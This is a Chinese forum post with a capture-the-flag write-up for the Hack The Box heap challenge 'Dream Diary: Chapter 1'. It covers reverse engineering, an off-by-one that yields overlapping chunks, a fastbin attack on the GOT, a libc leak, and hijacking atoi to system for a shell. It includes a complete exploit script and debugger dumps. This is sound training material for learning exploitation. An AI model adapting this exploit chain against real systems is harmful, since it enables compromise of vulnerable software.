kn0sky 发表于 2024-10-25 10:09

[HTB]Dream Diary: Chapter 1

## 前言

每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!

> 今天是第1天,希望能坚持下去

## 题目情况

Hint: Xenial Xerus

这是ubuntu16.04lts的代号,意味着适用2.23的libc

```c
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:      No PIE (0x3fe000)
```

## 逆向分析

菜单题:

```c
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int choose; // eax
__int64 buf; // BYREF

buf = __readfsqword(0x28u);
buf = 0LL;
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
while ( 1 )
{
    while ( 1 )
    {
      menu();
      read(0, buf, 4uLL);
      choose = atoi((const char *)buf);
      if ( choose != 2 )
      break;
      edit(buf, buf);                           // 2
    }
    if ( choose > 2 )
    {
      if ( choose == 3 )
      {
      del(buf, buf);                        // 3
      }
      else
      {
      if ( choose == 4 )
          exit(0);
LABEL_13:
      puts("Invalid choice!");
      }
    }
    else
    {
      if ( choose != 1 )
      goto LABEL_13;
      add(buf, buf);                            // 1
    }
}
}
```

运行起来是这样的菜单:

```c
+------------------------------+
|         Dream Diary          |
+------------------------------+
| Allocate               |
| Edit                     |
| Delete                   |
| Exit                     |
+------------------------------+
>>
```

选项1:Allocate

```c
unsigned __int64 sub_4009A8()
{
int i; //
size_t size; //
char nptr; // BYREF
unsigned __int64 v4; //

v4 = __readfsqword(0x28u);
*(_QWORD *)nptr = 0LL;
for ( i = 0; ; ++i )
{
    if ( i > 15 )                               // 最多15个
    {
      puts("Too many notes!");
      return __readfsqword(0x28u) ^ v4;
    }
    if ( !(&ptr) )
      break;
}
printf("\nSize: ");
read_(nptr, 6LL);
size = atoi(nptr);
(&ptr) = (char *)malloc(size);             // 申请内存
if ( !(&ptr) )
{
    puts("Malloc error!");
    exit(-1);
}
printf("Data: ");
read_((&ptr), size);                     // 写入数据,无溢出
puts("Success!");
return __readfsqword(0x28u) ^ v4;
}
```

申请内存,指定大小,填充数据,无溢出

选项2:edit:

```c
unsigned __int64 edit()
{
unsigned int v1; //
size_t v2; //
__int64 buf; // BYREF
unsigned __int64 v4; //

v4 = __readfsqword(0x28u);
buf = 0LL;
printf("Index: ");
read(0, &buf, 4uLL);
v1 = atoi((const char *)&buf);
if ( v1 < 0x10 )
{
    if ( (&ptr) )
    {
      v2 = strlen((&ptr));                  // 计算原本的长度
      printf("Data: ");
      read_((&ptr), v2);                  // 写入数据,长度上限是原本的长度
      puts("Done!");
    }
    else
    {
      puts("No UAF for you!");
    }
}
else
{
    puts("Out of bounds!");
}
return __readfsqword(0x28u) ^ v4;
}
```

编辑操作使用的长度来自strlen的结果,假定数据是满的,strlen会计算到next chunk size字段,导致1字节溢出

选项3:del:

```c
unsigned __int64 del()
{
unsigned int v1; //
__int64 buf; // BYREF
unsigned __int64 v3; //

v3 = __readfsqword(0x28u);
buf = 0LL;
printf("Index: ");
read(0, &buf, 4uLL);
v1 = atoi((const char *)&buf);
if ( v1 < 0x10 )
{
    if ( (&ptr) )
    {
      free((&ptr));                         // 释放内存
      (&ptr) = 0LL;                         // 指针清空,不存在UAF和double-free
      puts("Done!");
    }
    else
    {
      puts("No double-free for you!");
    }
}
else
{
    puts("Out of bounds!");
}
return __readfsqword(0x28u) ^ v3;
}
```

这里会清空指针,没有UAF和Double-free了

## 利用分析

### 当前状况分析:

* 程序使用 libc 2.23,存在Hook可以打
* 问题是 off by one,可以通过某种 off by one 的技巧创造出重叠 chunk(方法不唯一)
* 程序没有PIE,指针数组地址已知
* 没有FULL RELRO,got可改
* 没有输出函数,无法得到地址泄露

### 计划制定

第一步:指针数组位于0x0000000006020c0,上面就是got表,存在fake fastbin chunk 的条件,申请走fake fastbin chunk,从而控制指针数组

```c
pwndbg> dq 0x602010 30
0000000000602010   00007ff9258de150 00007ff9257aa31a
0000000000602020   00007ff92579926f 00007ff9257af1e0
0000000000602030   0000000000400706 00007ff925780914
0000000000602040   00007ff9258084c0 00007ff9257532e1
0000000000602050   00007ff9257a9cd3 00007ff9257999c5
0000000000602060   00007ff925765fcb 0000000000400776
0000000000602070   0000000000000000 0000000000000000
0000000000602080   00007ff9258c3620 0000000000000000
0000000000602090   00007ff9258c28e0 0000000000000000
00000000006020a0   00007ff9258c3540 0000000000000000
00000000006020b0   0000000000000000 0000000000000000
00000000006020c0   0000000002458010 0000000000000000
00000000006020d0   0000000000000000 0000000002458180
00000000006020e0   0000000000000000 0000000000000000
00000000006020f0   0000000000000000 0000000000000000
```

fake chunk:

```c
Fake chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x60209d
prev_size: 0xf9258c3540000000
size: 0x78 (with flag bits: 0x7f)
fd: 0x00
bk: 0x00
fd_nextsize: 0x2458010000000
bk_nextsize: 0x00
```

打hook需要完成libc地址泄露,got可修改这个条件就可以用上了,能控制指针数组,就能任意地址写,那么就暂时不需要free了

第二步,打got,将free改成puts先用用

指针数组是可控的,那这随便就泄露出libc地址了,接下来就是打hook环节

第三步:打hook,drop shell

### 辅助函数

```py
def cmd(i, prompt=b">> "):
    sla(prompt, i)

def add(sz:int, data:bytes):
    global index , i
    cmd('1')
    sla(b"Size: ",str(sz).encode())
    sla(b"Data: ",data)

    #......

def edit(idx:int, data:bytes):
    cmd('2')
    sla(b"Index: ",str(idx).encode())
    sla(b"Data: ",data)
    #......

def dele(idx: int):
    cmd('3')
    sla(b"Index: ",str(idx).encode())
    #......

def exit():
    cmd('4')
    #......
```

### house of spirit:创造重叠块

```py
add(0x78,cyclic(0x78))#0
add(0x78,cyclic(0x78))#1
add(0x68,cyclic(0x68))#2
add(0x18,cyclic(0x18))#3

edit(0,cyclic(0x78) + p8(0xf1))
dele(1)
dele(2)
```

默认最大的fastbin chunk是0x68申请出来的,0x78申请出来的会进入unsortedbin

这里申请4个chunk,其中chunk0溢出1字节,将chunk1的大小修改为能刚好覆盖chunk2,chunk3用于分隔top chunk

此时的堆:

```py
pwndbg> vis
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.


0x11a6000       0x0000000000000000      0x0000000000000081      ................
0x11a6010       0x6161616261616161      0x6161616461616163      aaaabaaacaaadaaa
0x11a6020       0x6161616661616165      0x6161616861616167      eaaafaaagaaahaaa
0x11a6030       0x6161616a61616169      0x6161616c6161616b      iaaajaaakaaalaaa
0x11a6040       0x6161616e6161616d      0x616161706161616f      maaanaaaoaaapaaa
0x11a6050       0x6161617261616171      0x6161617461616173      qaaaraaasaaataaa
0x11a6060       0x6161617661616175      0x6161617861616177      uaaavaaawaaaxaaa
0x11a6070       0x6261617a61616179      0x6261616362616162      yaaazaabbaabcaab
0x11a6080       0x6261616562616164      0x00000000000000f1      daabeaab........         <-- unsortedbin
0x11a6090       0x00007f4213821b78      0x00007f4213821b78      x...B...x...B...
0x11a60a0       0x6161616661616165      0x6161616861616167      eaaafaaagaaahaaa
0x11a60b0       0x6161616a61616169      0x6161616c6161616b      iaaajaaakaaalaaa
0x11a60c0       0x6161616e6161616d      0x616161706161616f      maaanaaaoaaapaaa
0x11a60d0       0x6161617261616171      0x6161617461616173      qaaaraaasaaataaa
0x11a60e0       0x6161617661616175      0x6161617861616177      uaaavaaawaaaxaaa
0x11a60f0       0x6261617a61616179      0x6261616362616162      yaaazaabbaabcaab
0x11a6100       0x6261616562616164      0x0000000000000071      daabeaabq.......         <-- fastbins
0x11a6110       0x0000000000000000      0x6161616461616163      ........caaadaaa
0x11a6120       0x6161616661616165      0x6161616861616167      eaaafaaagaaahaaa
0x11a6130       0x6161616a61616169      0x6161616c6161616b      iaaajaaakaaalaaa
0x11a6140       0x6161616e6161616d      0x616161706161616f      maaanaaaoaaapaaa
0x11a6150       0x6161617261616171      0x6161617461616173      qaaaraaasaaataaa
0x11a6160       0x6161617661616175      0x6161617861616177      uaaavaaawaaaxaaa
0x11a6170       0x00000000000000f0      0x0000000000000020      ........ .......
0x11a6180       0x6161616261616161      0x6161616461616163      aaaabaaacaaadaaa
0x11a6190       0x6161616661616165      0x0000000000020e71      eaaafaaaq.......         <-- Top chunk

```

得到一个被unsortedbin chunk覆盖的fastbin chunk

### hijack ptr array & leak libc address

接下来,修改fd指向got那里创造出来的fake chunk

```py
ptr = flat(
    cyclic(0x8),
    pack(elf.got.free),
    pack(elf.got.puts),
    pack(0x6020c0)
)
add(0xe8,cyclic(0x78) + pack(0x71) + pack(0x60209d))    # 1
add(0x68,cyclic(0x68))   # 2
add(0x68,p8(0)*0x13 + ptr)# 4

edit(1,pack(elf.plt.puts))
dele(2)
leak = ru(b"\x0aDone!")
leak = unpack(leak[:-6],"all")
success(f"leak: {hex(leak)}")

libc.address = leak - libc.sym.puts
success(f"libc.address: {hex(libc.address)}")
```

申请一个0xe8把unsortedbin 完整申请走,向fastbin chunk.next写入fake chunk address

申请走之后,覆盖ptr指针数组

这里前8字节写入杂乱数据,是为了保留这个区域可以再次被修改,因为edit选项是基于对目标地址strlen获取长度来写入数据的

然后要保留一份方便再次修改的该数组

修改elf.got.free为elf.plt.puts,拿到libc地址泄露

### drop shell

```py
# drop shell
ptr = flat(
    pack(elf.got.atoi),
)
edit(3,ptr)
edit(0,pack(libc.sym.system))
cmd(b"sh")
```

最后drop shell的方法有很多,最简单的方法就是直接通过elf.got来劫持函数执行

有了libc地址泄露,可以劫持atoi为system,然后在输入选项的时候,输入bash字符即可(因为调用atoi之前的read函数接受6个字符的输入)

或者使用one_gadget也行,或者打io也行不过就比较麻烦了

## 完整exp

```py
#!/usr/bin/env python3
# Date: 2024-10-23 21:58:41
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#   Debug : python3 exp.py debug elf-file-path -t -b malloc
#   Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

def cmd(i, prompt=b">> "):
    sla(prompt, i)

def add(sz:int, data:bytes):
    global index , i
    cmd('1')
    sla(b"Size: ",str(sz).encode())
    sla(b"Data: ",data)

    #......

def edit(idx:int, data:bytes):
    cmd('2')
    sla(b"Index: ",str(idx).encode())
    sla(b"Data: ",data)
    #......

def dele(idx: int):
    cmd('3')
    sla(b"Index: ",str(idx).encode())
    #......

def exit():
    cmd('4')
    #......



# house of spirit
add(0x78,cyclic(0x78))#0
add(0x78,cyclic(0x78))#1
add(0x68,cyclic(0x68))#2
add(0x18,cyclic(0x18))#3

edit(0,cyclic(0x78) + p8(0xf1))
dele(1)
dele(2)

# fastbin attack
ptr = flat(
    cyclic(0x8),
    pack(elf.got.free),
    pack(elf.got.puts),
    pack(0x6020c0)
)
add(0xe8,cyclic(0x78) + pack(0x71) + pack(0x60209d))    # 1
add(0x68,cyclic(0x68))   # 2
add(0x68,p8(0)*0x13 + ptr)# 4

# edit free to puts & leak libc
edit(1,pack(elf.plt.puts))
dele(2)
leak = ru(b"\x0aDone!")
leak = unpack(leak[:-6],"all")
success(f"leak: {hex(leak)}")

libc.address = leak - libc.sym.puts
success(f"libc.address: {hex(libc.address)}")

# drop shell
ptr = flat(
    pack(elf.got.atoi),
)
edit(3,ptr)
edit(0,pack(libc.sym.system))
cmd(b"sh")
ia()
```

## 总结

本练习相关的知识:

* off by one 创造重叠块

* house of spirit
* Fastbin Attack
* Hijack Elf GOT

## 参考资料

* (https://app.hackthebox.com/challenges/Dream%20Diary:%20Chapter%201)
* 原文链接:https://www.kn0sky.com/?p=d2d9cb66-0d9a-476d-bba1-c4fbe1b4b999

xixicoco 发表于 2024-10-25 11:26

跟着大佬一起练习

qwer8633 发表于 2024-10-25 13:23

感谢分享,学习一下。

xucs 发表于 2024-10-25 16:06

感谢分享,学习一下。
页: [1]
查看完整版本: [HTB]Dream Diary: Chapter 1